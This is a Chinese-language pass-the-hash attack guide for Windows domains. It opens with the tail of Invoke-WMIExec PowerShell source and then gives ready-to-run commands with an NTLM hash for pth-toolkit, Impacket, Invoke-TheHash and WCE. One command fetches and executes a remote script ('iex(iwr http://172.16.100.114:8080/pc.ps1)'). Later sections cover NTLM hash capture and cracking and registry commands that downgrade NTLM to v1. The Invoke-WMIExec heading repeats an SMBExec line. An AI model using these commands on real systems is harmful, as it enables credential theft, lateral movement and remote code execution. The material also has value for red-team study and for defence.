  1074. 0x00,0x00,0x00,0x00,0x55,0x73,0x65,0x72,0x0d,0x00,0x00,0x00,0x1a,
  1075. 0x00,0x00,0x00,0x0d,0x00,0x00,0x00,0x77,0x00,0x69,0x00,0x6e,0x00,
  1076. 0x33,0x00,0x32,0x00,0x5f,0x00,0x70,0x00,0x72,0x00,0x6f,0x00,0x63,
  1077. 0x00,0x65,0x00,0x73,0x00,0x73,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  1078. 0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x00,0x00,0x00,
  1079. 0x00,0x00,0x00
  1080. }
  1081. {$_ -ge 8}
  1082. {
  1083. $sequence_number = 0x09,0x00,0x00,0x00
  1084. $request_auth_padding = 0
  1085. $request_call_ID = 0x0b,0x00,0x00,0x00
  1086. $request_context_ID = 0x04,0x00
  1087. $request_opnum = 0x18,0x00
  1088. $request_UUID = $IPID2
  1089. [Byte[]]$stub_length = [System.BitConverter]::GetBytes($Command.Length + 1769)[0,1]
  1090. [Byte[]]$stub_length2 = [System.BitConverter]::GetBytes($Command.Length + 1727)[0,1]
  1091. [Byte[]]$stub_length3 = [System.BitConverter]::GetBytes($Command.Length + 1713)[0,1]
  1092. [Byte[]]$command_length = [System.BitConverter]::GetBytes($Command.Length + 93)[0,1]
  1093. [Byte[]]$command_length2 = [System.BitConverter]::GetBytes($Command.Length + 16)[0,1]
  1094. [Byte[]]$command_bytes = [System.Text.Encoding]::UTF8.GetBytes($Command)
  1095. # thanks to @vysec for finding a bug with certain command lengths
  1096. [String]$command_padding_check = $Command.Length / 4
  1097. if($command_padding_check -like "*.75")
  1098. {
  1099. $command_bytes += 0x00
  1100. }
  1101. elseif($command_padding_check -like "*.5")
  1102. {
  1103. $command_bytes += 0x00,0x00
  1104. }
  1105. elseif($command_padding_check -like "*.25")
  1106. {
  1107. $command_bytes += 0x00,0x00,0x00
  1108. }
  1109. else
  1110. {
  1111. $command_bytes += 0x00,0x00,0x00,0x00
  1112. }
  1113. $stub_data = 0x05,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 +
  1114. $causality_ID_bytes +
  1115. 0x00,0x00,0x00,0x00,0x55,0x73,0x65,0x72,0x0d,0x00,0x00,0x00,0x1a,
  1116. 0x00,0x00,0x00,0x0d,0x00,0x00,0x00,0x57,0x00,0x69,0x00,0x6e,0x00,
  1117. 0x33,0x00,0x32,0x00,0x5f,0x00,0x50,0x00,0x72,0x00,0x6f,0x00,0x63,
  1118. 0x00,0x65,0x00,0x73,0x00,0x73,0x00,0x00,0x00,0x55,0x73,0x65,0x72,
  1119. 0x06,0x00,0x00,0x00,0x0c,0x00,0x00,0x00,0x06,0x00,0x00,0x00,0x63,
  1120. 0x00,0x72,0x00,0x65,0x00,0x61,0x00,0x74,0x00,0x65,0x00,0x00,0x00,
  1121. 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00 +
  1122. $stub_length +
  1123. 0x00,0x00 +
  1124. $stub_length +
  1125. 0x00,0x00,0x4d,0x45,0x4f,0x57,0x04,0x00,0x00,0x00,0x81,0xa6,0x12,
  1126. 0xdc,0x7f,0x73,0xcf,0x11,0x88,0x4d,0x00,0xaa,0x00,0x4b,0x2e,0x24,
  1127. 0x12,0xf8,0x90,0x45,0x3a,0x1d,0xd0,0x11,0x89,0x1f,0x00,0xaa,0x00,
  1128. 0x4b,0x2e,0x24,0x00,0x00,0x00,0x00 +
  1129. $stub_length2 +
  1130. 0x00,0x00,0x78,0x56,0x34,0x12 +
  1131. $stub_length3 +
  1132. 0x00,0x00,0x02,0x53,
  1133. 0x06,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0d,0x00,0x00,0x00,0x04,
  1134. 0x00,0x00,0x00,0x0f,0x00,0x00,0x00,0x0e,0x00,0x00,0x00,0x00,0x0b,
  1135. 0x00,0x00,0x00,0xff,0xff,0x03,0x00,0x00,0x00,0x2a,0x00,0x00,0x00,
  1136. 0x15,0x01,0x00,0x00,0x73,0x01,0x00,0x00,0x76,0x02,0x00,0x00,0xd4,
  1137. 0x02,0x00,0x00,0xb1,0x03,0x00,0x00,0x15,0xff,0xff,0xff,0xff,0xff,
  1138. 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x12,0x04,0x00,0x80,0x00,0x5f,
  1139. 0x5f,0x50,0x41,0x52,0x41,0x4d,0x45,0x54,0x45,0x52,0x53,0x00,0x00,
  1140. 0x61,0x62,0x73,0x74,0x72,0x61,0x63,0x74,0x00,0x08,0x00,0x00,0x00,
  1141. 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x04,0x00,0x00,
  1142. 0x00,0x00,0x43,0x6f,0x6d,0x6d,0x61,0x6e,0x64,0x4c,0x69,0x6e,0x65,
  1143. 0x00,0x00,0x73,0x74,0x72,0x69,0x6e,0x67,0x00,0x08,0x00,0x00,0x00,
  1144. 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x11,0x00,0x00,
  1145. 0x00,0x0a,0x00,0x00,0x80,0x03,0x08,0x00,0x00,0x00,0x37,0x00,0x00,
  1146. 0x00,0x00,0x49,0x6e,0x00,0x08,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  1147. 0x00,0x00,0x00,0x00,0x00,0x00,0x1c,0x00,0x00,0x00,0x0a,0x00,0x00,
  1148. 0x80,0x03,0x08,0x00,0x00,0x00,0x37,0x00,0x00,0x00,0x5e,0x00,0x00,
  1149. 0x00,0x02,0x0b,0x00,0x00,0x00,0xff,0xff,0x01,0x00,0x00,0x00,0x94,
  1150. 0x00,0x00,0x00,0x00,0x57,0x69,0x6e,0x33,0x32,0x41,0x50,0x49,0x7c,
  1151. 0x50,0x72,0x6f,0x63,0x65,0x73,0x73,0x20,0x61,0x6e,0x64,0x20,0x54,
  1152. 0x68,0x72,0x65,0x61,0x64,0x20,0x46,0x75,0x6e,0x63,0x74,0x69,0x6f,
  1153. 0x6e,0x73,0x7c,0x6c,0x70,0x43,0x6f,0x6d,0x6d,0x61,0x6e,0x64,0x4c,
  1154. 0x69,0x6e,0x65,0x20,0x00,0x00,0x4d,0x61,0x70,0x70,0x69,0x6e,0x67,
  1155. 0x53,0x74,0x72,0x69,0x6e,0x67,0x73,0x00,0x08,0x00,0x00,0x00,0x00,
  1156. 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x29,0x00,0x00,0x00,
  1157. 0x0a,0x00,0x00,0x80,0x03,0x08,0x00,0x00,0x00,0x37,0x00,0x00,0x00,
  1158. 0x5e,0x00,0x00,0x00,0x02,0x0b,0x00,0x00,0x00,0xff,0xff,0xca,0x00,
  1159. 0x00,0x00,0x02,0x08,0x20,0x00,0x00,0x8c,0x00,0x00,0x00,0x00,0x49,
  1160. 0x44,0x00,0x08,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  1161. 0x00,0x00,0x00,0x36,0x00,0x00,0x00,0x0a,0x00,0x00,0x80,0x03,0x08,
  1162. 0x00,0x00,0x00,0x59,0x01,0x00,0x00,0x5e,0x00,0x00,0x00,0x00,0x0b,
  1163. 0x00,0x00,0x00,0xff,0xff,0xca,0x00,0x00,0x00,0x02,0x08,0x20,0x00,
  1164. 0x00,0x8c,0x00,0x00,0x00,0x11,0x01,0x00,0x00,0x11,0x03,0x00,0x00,
  1165. 0x00,0x00,0x00,0x00,0x00,0x00,0x73,0x74,0x72,0x69,0x6e,0x67,0x00,
  1166. 0x08,0x00,0x00,0x00,0x01,0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x00,
  1167. 0x00,0x04,0x00,0x00,0x00,0x00,0x43,0x75,0x72,0x72,0x65,0x6e,0x74,
  1168. 0x44,0x69,0x72,0x65,0x63,0x74,0x6f,0x72,0x79,0x00,0x00,0x73,0x74,
  1169. 0x72,0x69,0x6e,0x67,0x00,0x08,0x00,0x00,0x00,0x01,0x00,0x04,0x00,
  1170. 0x00,0x00,0x00,0x00,0x00,0x00,0x11,0x00,0x00,0x00,0x0a,0x00,0x00,
  1171. 0x80,0x03,0x08,0x00,0x00,0x00,0x85,0x01,0x00,0x00,0x00,0x49,0x6e,
  1172. 0x00,0x08,0x00,0x00,0x00,0x01,0x00,0x04,0x00,0x00,0x00,0x00,0x00,
  1173. 0x00,0x00,0x1c,0x00,0x00,0x00,0x0a,0x00,0x00,0x80,0x03,0x08,0x00,
  1174. 0x00,0x00,0x85,0x01,0x00,0x00,0xac,0x01,0x00,0x00,0x02,0x0b,0x00,
  1175. 0x00,0x00,0xff,0xff,0x01,0x00,0x00,0x00,0xe2,0x01,0x00,0x00,0x00,
  1176. 0x57,0x69,0x6e,0x33,0x32,0x41,0x50,0x49,0x7c,0x50,0x72,0x6f,0x63,
  1177. 0x65,0x73,0x73,0x20,0x61,0x6e,0x64,0x20,0x54,0x68,0x72,0x65,0x61,
  1178. 0x64,0x20,0x46,0x75,0x6e,0x63,0x74,0x69,0x6f,0x6e,0x73,0x7c,0x43,
  1179. 0x72,0x65,0x61,0x74,0x65,0x50,0x72,0x6f,0x63,0x65,0x73,0x73,0x7c,
  1180. 0x6c,0x70,0x43,0x75,0x72,0x72,0x65,0x6e,0x74,0x44,0x69,0x72,0x65,
  1181. 0x63,0x74,0x6f,0x72,0x79,0x20,0x00,0x00,0x4d,0x61,0x70,0x70,0x69,
  1182. 0x6e,0x67,0x53,0x74,0x72,0x69,0x6e,0x67,0x73,0x00,0x08,0x00,0x00,
  1183. 0x00,0x01,0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x29,0x00,
  1184. 0x00,0x00,0x0a,0x00,0x00,0x80,0x03,0x08,0x00,0x00,0x00,0x85,0x01,
  1185. 0x00,0x00,0xac,0x01,0x00,0x00,0x02,0x0b,0x00,0x00,0x00,0xff,0xff,
  1186. 0x2b,0x02,0x00,0x00,0x02,0x08,0x20,0x00,0x00,0xda,0x01,0x00,0x00,
  1187. 0x00,0x49,0x44,0x00,0x08,0x00,0x00,0x00,0x01,0x00,0x04,0x00,0x00,
  1188. 0x00,0x00,0x00,0x00,0x00,0x36,0x00,0x00,0x00,0x0a,0x00,0x00,0x80,
  1189. 0x03,0x08,0x00,0x00,0x00,0xba,0x02,0x00,0x00,0xac,0x01,0x00,0x00,
  1190. 0x00,0x0b,0x00,0x00,0x00,0xff,0xff,0x2b,0x02,0x00,0x00,0x02,0x08,
  1191. 0x20,0x00,0x00,0xda,0x01,0x00,0x00,0x72,0x02,0x00,0x00,0x11,0x03,
  1192. 0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x73,0x74,0x72,0x69,0x6e,
  1193. 0x67,0x00,0x0d,0x00,0x00,0x00,0x02,0x00,0x08,0x00,0x00,0x00,0x00,
  1194. 0x00,0x00,0x00,0x04,0x00,0x00,0x00,0x00,0x50,0x72,0x6f,0x63,0x65,
  1195. 0x73,0x73,0x53,0x74,0x61,0x72,0x74,0x75,0x70,0x49,0x6e,0x66,0x6f,
  1196. 0x72,0x6d,0x61,0x74,0x69,0x6f,0x6e,0x00,0x00,0x6f,0x62,0x6a,0x65,
  1197. 0x63,0x74,0x00,0x0d,0x00,0x00,0x00,0x02,0x00,0x08,0x00,0x00,0x00,
  1198. 0x00,0x00,0x00,0x00,0x11,0x00,0x00,0x00,0x0a,0x00,0x00,0x80,0x03,
  1199. 0x08,0x00,0x00,0x00,0xef,0x02,0x00,0x00,0x00,0x49,0x6e,0x00,0x0d,
  1200. 0x00,0x00,0x00,0x02,0x00,0x08,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  1201. 0x1c,0x00,0x00,0x00,0x0a,0x00,0x00,0x80,0x03,0x08,0x00,0x00,0x00,
  1202. 0xef,0x02,0x00,0x00,0x16,0x03,0x00,0x00,0x02,0x0b,0x00,0x00,0x00,
  1203. 0xff,0xff,0x01,0x00,0x00,0x00,0x4c,0x03,0x00,0x00,0x00,0x57,0x4d,
  1204. 0x49,0x7c,0x57,0x69,0x6e,0x33,0x32,0x5f,0x50,0x72,0x6f,0x63,0x65,
  1205. 0x73,0x73,0x53,0x74,0x61,0x72,0x74,0x75,0x70,0x00,0x00,0x4d,0x61,
  1206. 0x70,0x70,0x69,0x6e,0x67,0x53,0x74,0x72,0x69,0x6e,0x67,0x73,0x00,
  1207. 0x0d,0x00,0x00,0x00,0x02,0x00,0x08,0x00,0x00,0x00,0x00,0x00,0x00,
  1208. 0x00,0x29,0x00,0x00,0x00,0x0a,0x00,0x00,0x80,0x03,0x08,0x00,0x00,
  1209. 0x00,0xef,0x02,0x00,0x00,0x16,0x03,0x00,0x00,0x02,0x0b,0x00,0x00,
  1210. 0x00,0xff,0xff,0x66,0x03,0x00,0x00,0x02,0x08,0x20,0x00,0x00,0x44,
  1211. 0x03,0x00,0x00,0x00,0x49,0x44,0x00,0x0d,0x00,0x00,0x00,0x02,0x00,
  1212. 0x08,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x36,0x00,0x00,0x00,0x0a,
  1213. 0x00,0x00,0x80,0x03,0x08,0x00,0x00,0x00,0xf5,0x03,0x00,0x00,0x16,
  1214. 0x03,0x00,0x00,0x00,0x0b,0x00,0x00,0x00,0xff,0xff,0x66,0x03,0x00,
  1215. 0x00,0x02,0x08,0x20,0x00,0x00,0x44,0x03,0x00,0x00,0xad,0x03,0x00,
  1216. 0x00,0x11,0x03,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x00,0x6f,0x62,
  1217. 0x6a,0x65,0x63,0x74,0x3a,0x57,0x69,0x6e,0x33,0x32,0x5f,0x50,0x72,
  1218. 0x6f,0x63,0x65,0x73,0x73,0x53,0x74,0x61,0x72,0x74,0x75,0x70 +
  1219. (,0x00 * 501) +
  1220. $command_length +
  1221. 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x3c,0x0e,0x00,0x00,0x00,0x00,
  1222. 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0x01 +
  1223. $command_length2 +
  1224. 0x00,0x80,0x00,0x5f,0x5f,0x50,0x41,0x52,0x41,0x4d,0x45,0x54,0x45,
  1225. 0x52,0x53,0x00,0x00 +
  1226. $command_bytes +
  1227. 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  1228. 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  1229. 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  1230. 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x04,0x00,0x02,0x00,0x00,0x00,
  1231. 0x00,0x00,0x00,0x00,0x00,0x00
  1232. if($Stub_data.Length -lt $request_split_index)
  1233. {
  1234. $request_flags = 0x83
  1235. $WMI_client_stage_next = 'Result'
  1236. }
  1237. else
  1238. {
  1239. $request_split = $true
  1240. $request_split_stage_final = [Math]::Ceiling($stub_data.Length / $request_split_index)
  1241. if($request_split_stage -lt 2)
  1242. {
  1243. $request_length = $stub_data.Length
  1244. $stub_data = $stub_data[0..($request_split_index - 1)]
  1245. $request_split_stage = 2
  1246. $sequence_number_counter = 10
  1247. $request_flags = 0x81
  1248. $request_split_index_tracker = $request_split_index
  1249. $WMI_client_stage_next = 'Request'
  1250. }
  1251. elseif($request_split_stage -eq $request_split_stage_final)
  1252. {
  1253. $request_split = $false
  1254. $sequence_number = [System.BitConverter]::GetBytes($sequence_number_counter)
  1255. $request_split_stage = 0
  1256. $stub_data = $stub_data[$request_split_index_tracker..$stub_data.Length]
  1257. $request_flags = 0x82
  1258. $WMI_client_stage_next = 'Result'
  1259. }
  1260. else
  1261. {
  1262. $request_length = $stub_data.Length - $request_split_index_tracker
  1263. $stub_data = $stub_data[$request_split_index_tracker..($request_split_index_tracker + $request_split_index - 1)]
  1264. $request_split_index_tracker += $request_split_index
  1265. $request_split_stage++
  1266. $sequence_number = [System.BitConverter]::GetBytes($sequence_number_counter)
  1267. $sequence_number_counter++
  1268. $request_flags = 0x80
  1269. $WMI_client_stage_next = 'Request'
  1270. }
  1271. }
  1272. }
  1273. }
  1274. $packet_RPC = New-PacketRPCRequest $request_flags $stub_data.Length 16 $request_auth_padding $request_call_ID $request_context_ID $request_opnum $request_UUID
  1275. if($request_split)
  1276. {
  1277. $packet_RPC["AllocHint"] = [System.BitConverter]::GetBytes($request_length)
  1278. }
  1279. $packet_NTLMSSP_verifier = New-PacketNTLMSSPVerifier $request_auth_padding 0x04 $sequence_number
  1280. $RPC = ConvertFrom-PacketOrderedDictionary $packet_RPC
  1281. $NTLMSSP_verifier = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_verifier
  1282. $RPC_signature = $HMAC_MD5.ComputeHash($sequence_number + $RPC + $stub_data + $NTLMSSP_verifier[0..($request_auth_padding + 7)])
  1283. $RPC_signature = $RPC_signature[0..7]
  1284. $packet_NTLMSSP_verifier["NTLMSSPVerifierChecksum"] = $RPC_signature
  1285. $NTLMSSP_verifier = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_verifier
  1286. $WMI_client_send = $RPC + $stub_data + $NTLMSSP_verifier
  1287. $WMI_client_random_port_stream.Write($WMI_client_send,0,$WMI_client_send.Length) > $null
  1288. $WMI_client_random_port_stream.Flush()
  1289. if(!$request_split)
  1290. {
  1291. $WMI_client_random_port_stream.Read($WMI_client_receive,0,$WMI_client_receive.Length) > $null
  1292. }
  1293. while($WMI_client_random_port_stream.DataAvailable)
  1294. {
  1295. $WMI_client_random_port_stream.Read($WMI_client_receive,0,$WMI_client_receive.Length) > $null
  1296. Start-Sleep -m $Sleep
  1297. }
  1298. $WMI_client_stage = $WMI_client_stage_next
  1299. }
  1300. 'Result'
  1301. {
  1302. while($WMI_client_random_port_stream.DataAvailable)
  1303. {
  1304. $WMI_client_random_port_stream.Read($WMI_client_receive,0,$WMI_client_receive.Length) > $null
  1305. Start-Sleep -m $Sleep
  1306. }
  1307. if($WMI_client_receive[1145] -ne 9)
  1308. {
  1309. $target_process_ID = Get-UInt16DataLength 1141 $WMI_client_receive
  1310. Write-Output "[+] Command executed with process ID $target_process_ID on $target_long"
  1311. }
  1312. else
  1313. {
  1314. Write-Output "[-] Process did not start, check your command"
  1315. }
  1316. $WMI_client_stage = 'Exit'
  1317. }
  1318. }
  1319. Start-Sleep -m $Sleep
  1320. }
  1321. $WMI_client_random_port.Close()
  1322. $WMI_client_random_port_stream.Close()
  1323. }
  1324. $WMI_client.Close()
  1325. $WMI_client_stream.Close()
  1326. }
  1327. }
  1328. }
  1. Invoke-WMIExec -Target 192.168.1.105 -Domain ignite -Username Administrator -Hash 32196B56FFE6F45E294117B91A83BF38 -Command "cmd /c mkdir c:\hacked" -Verbose

PTH 攻击 - 图12

PTH 攻击 - 图13PTH 攻击 - 图14

pth-wmic

我们回到我们的 PTH 脚本。他们还有一些用于 WMI 接口的东西。它被称为 pth-wmic。和以前一样不需要安装它。它将直接从 Kali Linux 的终端运行。我们只需要提供域、用户名、哈希、IP 地址和我们要执行的命令。请记住,此脚本执行的命令仅为 WMI。所以其他命令将无法通过此方法工作。在这种情况下,我们决定从目标机器中提取用户。

  1. pth-wmic -U ignite/Administrator%00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 //192.168.1.105 “select Name from Win32_UserAccount”

PTH 攻击 - 图15

wmiexec.exe

由 Impacket wmiexec.py 脚本制成。因此它需要与域、用户名、IP 地址和哈希相同的参数。它调用具有我们为其提供凭据的用户的特权的 shell。

下载Wmiexec.exe

  1. wmiexec.exe-hashes 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 ignite/Administrator@192.168.1.105

PTH 攻击 - 图16

RPC

RPC 或远程过程调用是一个著名的协议,一个程序使用它来请求位于网络中远程系统上的特定服务。如果我们可以通过其身份验证传递哈希值,它可用于从特定目标机器检索端点。

rpcdump.py

Impacket 开发了另一个很棒的脚本,可以帮助我们提取目标机器上的 RPC 端点列表。由于它需要身份验证,因此我们将通过 PtH 对其进行攻击,以将这些端点转储到我们的攻击者机器上。它需要域、用户名、IP 地址和哈希。

  1. python rpcdump.py-hashes 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 ignite/Administrator@192.168.1.105

PTH 攻击 - 图17

pth-rpcclient

我们还可以提取有关我们通过使用我们称为服务器信息命令的访问权限的系统的信息,如图所示。此工具需要以下格式的域、用户名、哈希和 IP 地址:

  1. pth-rpcclient -U ignite/Administrator%00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 //192.168.1.105

PTH 攻击 - 图18

pth-net

PTH-net 是一个可用于执行网络命令(如 net user、net share 和其他重要命令)的工具,但我们决定将其包含在 PtH Over RPC 部分的原因是它可以在RPC 协议来执行这些任务。在这里,我们决定通过网络收集有关活跃共享的信息,我们在几秒钟内就得到了所有信息,这也是因为我们传递了用户的哈希值,我们没有密码。这需要使用的协议、运行的命令、域、用户名、哈希值、IP 地址。

  1. pth-net rpc share list -U 'ignite\Administrator%00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38' -S 192.168.1.105

PTH 攻击 - 图19

PTH Tool

早在 2012 年,那年的 BlackHat USA 会议上就介绍了一堆 pass-the-hash 脚本。它们在 Google 代码存档中可用。由于它们的可用性和受欢迎程度,Kali Linux 将它们引入了 2013 版本。他们在他们的 pth-toolkit 中包含了以下脚本。

  • pth-curl
  • pth-rpcclient
  • pth-smbget
  • pth-winexe
  • pth-wmic
  • pth-net
  • pth-smbclient
  • pth-sqsh
  • pth-wmic

PTH-winexe

执行远程Windows命令的winexe命令我们已经很熟悉了。但为此我们需要提供用户凭证和目标机器的 IP 地址。该工具允许我们使用哈希而不是密码进行身份验证。因此,我们需要提供用户名、哈希、IP 地址以及我们要执行的可执行文件的命令或名称。这里我们决定执行cmd得到一个shell。我们进入了 System32 文件夹。

  1. pth-winexe -U Administrator%00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 //192.168.1.105 cmd.exe

PTH 攻击 - 图20

现在为了演示下一个工具,我们遍历了 inetpub\wwwroot 目录。我们发现那里有 file.txt。

注意: inetpub 目录是在安装 IIS 服务器时创建的。

pth-curl

在 curl 可以通过验证从目标服务器中提取特定文件。我们使用 pth-curl 工具执行 PtH 攻击,并使用哈希进行身份验证,并从上面的屏幕截图中可见的目标机器下载了 file.txt。

  1. pth-curl --ntlm -u Administrator:32196B56FFE6F45E294117B91A83BF38 http://192.168.1.105/file.txt

PTH 攻击 - 图21

Impacket

Impacket: atexec.py

Atexec 是连接到远程系统的方法之一。它使用任务计划程序服务在目标系统上执行命令。它需要用户凭据、IP 地址、域和要执行的命令。我们将提供散列而不是密码来执行 PtH,

  1. python atexec.py -hashes 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 Administrator@192.168.1.105 whoami

PTH 攻击 - 图22

Impacket:lookupsid.py

Lookupsid 脚本可以枚举本地和域用户。它需要域、用户名、密码和 IP 地址。为了执行 PtH 攻击,我们提供了哈希而不是密码

  1. python lookupsid.py -hashes 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 点燃/Administrator@192.168.1.105

PTH 攻击 - 图23

Impacket: samrdump.py

Samrdump 是一个应用程序,它使用安全帐户管理器 (SAM) 检索有关指定目标计算机的敏感信息。它需要域、用户名、密码和 IP 地址。为了进行 PtH 攻击,我们用哈希值替换了密码

  1. python samrdump.py -hashes 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 ignite/Administrator@192.168.1.105

PTH 攻击 - 图24PTH 攻击 - 图25

Impacket: reg.py

Reg.py 脚本可以读取、修改和删除注册表值。攻击目标机器认为 Pass-the-hash 攻击并在其注册表中进行更改可能会产生真正的影响。攻击者可以通过更改注册表项使机器更容易受到攻击,并且还可以创建一个很难追踪的永久后门。它需要您要与之交互的域、用户名、密码、IP 地址和注册表项

  1. python reg.py -hashes 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 ignite/Administrator@192.168.1.105 query -keyName HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows -s

PTH 攻击 - 图26

Windows 编译工具

  • psexec_windows.exe : C:\AD\MyTools\psexec_windows.exe -hashes “:b38ff50264b74508085d82c69794a4d8” svcadmin@dcorp-mgmt.my.domain.local
  • wmiexec.exe : wmiexec_windows.exe -hashes “:b38ff50264b74508085d82c69794a4d8” svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local
  • atexec.exe (此时需要指定命令,cmd.exe和powershell.exe获取交互式shell无效)C:\AD\MyTools\atexec_windows.exe -hashes “:b38ff50264b74508085d82c69794a4d8” svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local ‘whoami’

Invoke-TheHash

GitHub - Kevin-Robertson/Invoke-TheHash: PowerShell Pass The Hash Utils

Invoke-SMBExec

  1. Invoke-SMBExec -Target dcorp-mgmt.my.domain.local -Domain my.domain.local -Username username -Hash b38ff50264b74508085d82c69794a4d8 -Command 'powershell -ep bypass -Command "iex(iwr http://172.16.100.114:8080/pc.ps1 -UseBasicParsing)"' -verbose

Invoke-WMIExec

  1. Invoke-SMBExec -Target dcorp-mgmt.my.domain.local -Domain my.domain.local -Username username -Hash b38ff50264b74508085d82c69794a4d8 -Command 'powershell -ep bypass -Command "iex(iwr http://172.16.100.114:8080/pc.ps1 -UseBasicParsing)"' -verbose

Invoke-SMBClient

  1. Invoke-SMBClient -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff50264b74508085d82c69794a4d8 [-Action Recurse] -Source \\dcorp-mgmt.my.domain.local\C$\ -verbose

Invoke-SMBEnum

  1. Invoke-SMBEnum -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff50264b74508085d82c69794a4d8 -Target dcorp-mgmt.dollarcorp.moneycorp.local -verbose

Invoke-TheHash

这个函数是所有其他函数的混合。你可以传递几个主机,排除一些主机,并选择你想使用的选项(SMBExec, WMIExec, SMBClient, SMBEnum)。如果你选择了SMBExec和WMIExec中的任何一个,但你没有给出任何命令参数,它将只是检查你是否有足够的权限。

  1. Invoke-TheHash -Type WMIExec -Target 192.168.100.0/24 -TargetExclude 192.168.100.50 -Username Administ -ty h F6F38B793DB6A94BA04A52F1D3EE92F0

WCE

该工具将执行与 mimikatz 相同的操作(修改 LSASS 内存)。管理员权限

  1. wce.exe -s <username>:<domain>:<hash_lm>:<hash_nt>

使用 Evil-WinRM

使用用户名和密码进行远程执行

Windows 主机提取凭证

NTLM 中继和响应

网络捕获

Hash窃取与破解

1. hashcat

Hashcat支持超过200种高度优化的hash算法,其中和NTLM hash相关的有4个,分别为NetNTLMv1、NetNTLMv1+ESS、NetNTLMv2和NTLM。 通过网络抓包,将相应数据拼成如下格式,就可以交由hashcat破解 破解NetNTLMv1:

username::hostname:LM response:NTLM response:challenge

3gstudent: Windows下的密码hash-Net-NTLMv1介绍 中NTMLv1抓包的截图:

PTH 攻击 - 图27

PTH 攻击 - 图28

破解NetNTLMv2:

username::domain:challenge:HMAC-MD5:blob

3gstudent: Windows下的密码hash-NTLM-hash和Net-NTLM-hash介绍

PTH 攻击 - 图29

PTH 攻击 - 图30

2. Hash窃取与破解

4 Ways to Capture NTLM Hashes in Network

Capture NTLM Hashes using PDF (Bad-Pdf)

Multiple Files to Capture NTLM Hashes: NTLM Theft

  • 同一网络内嗅探
  • 中间人攻击
  • 伪造服务器诱使用户输入凭据,在服务端收取Net-NTLM Hash
抓取工具:

https://github.com/lgandx/Responder

https://github.com/Kevin-Robertson/Inveigh

感觉不是每次都能抓到…

PTH 攻击 - 图31

3. 降级

Net-NTLMv1的计算方法比较简单,通过Responder等中间人工具,可以控制Challenge为固定值,再使用彩虹表可快速破解出NTLM Hash。 将协议降级需要以管理员权限修改注册表:

reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t REG_DWORD /d 2 /f reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0\ /v NtlmMinClientSec /t REG_DWORD /d 536870912 /f reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0\ /v RestrictSendingNTLMTraffic /t REG_DWORD /d 0 /f

工具:https://github.com/eladshamir/Internal-Monologue降级NTLM并提取Net-NTLMv1 Hash
  1. # InternalMonologue
  2. InternalMonologue.exe -Downgrade true -Threads true -Impersonate true
  3. # Empire
  4. usemodule credentials/invoke_internal_monologue

参考